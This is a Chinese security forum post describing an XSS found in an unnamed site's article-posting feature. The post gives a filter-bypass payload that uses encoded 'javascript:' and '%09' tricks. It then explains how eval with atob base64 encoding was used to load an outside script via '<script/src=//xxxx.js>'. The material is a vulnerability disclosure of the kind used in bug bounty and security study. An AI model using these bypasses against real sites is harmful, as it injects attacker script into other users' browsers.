九零登录

[【通过】] 某站xss从弹窗到引入第三方JS文件

[复制链接]
发表于 2018-12-10 12:10:52 | 显示全部楼层 |阅读模式
本帖最后由 TEag1e 于 2018-12-10 12:36 编辑



某站xss从弹窗到引入第三方JS文件

一次简单基础的Bypass。

0x00 前言


漏洞位于论坛发布文章出处,起初通过Bypass触发弹窗后,审核问我能否尝试引入第三方JS文件,因为那样的话危害评级不一样。


0x01弹窗


先上Payload:
<a href=j%26%2397vascrip%26%23116:%09alert`1`>xss

过滤规则:
1. 过滤了很多事件,由于没法发很多文章,所以无法爆破可用事件 => 暂不考虑使用事件
2. script标签过滤的死死的,PASS
此时只能考虑使用伪协议
3. java关键字跟script关键字,进行了监测,使用HTML编码后的URL编码进行绕过
4. 冒号(:)后面不能跟字母,测试发现可以使用%09绕过

0x02引入第三方文件


1. 考虑直接write一个script标签

1.png
进展顺利

2.png
但是添加SRC时发现被监测了,推测监测机制
3.png

2. 尝试HTML编码

尝试拆分src关键字,将c html编码+url编码,PASS,推测HTML编码多半是废了,应该是将HTML编码进行了解码再监测
4.png
但是发现,没有尖括号(<)时,可以使用src,此时混淆尖括号,进行html编码加url编码,PASS
推测真的是将HTML编码进行了解码再监测
5.png


3. 尝试JS编码


既然HTML编码不能使用了,那么考虑使用JS编码。

1. 使用JS十六进制
测试发现JS十六进制JS八进制均失败
PASS
6.png

2. 使用base64编码
想到之前在xss平台见到的PAYLOAD,使用eval加atob使用base64编码
7.png

使用<script/src=//xxxx.js>引入第三方文件
成功!

8.png
但是发现base64编码中的加号(+)被识别成了分隔符,擦 ==
9.png
这个简单,我在前面又加上协议之后便看到没有加号的阻碍了


10.png







11.png

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2018-12-17 20:43:36 | 显示全部楼层
继续努力。

九零

GMT+8, 2026-10-22 12:21

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表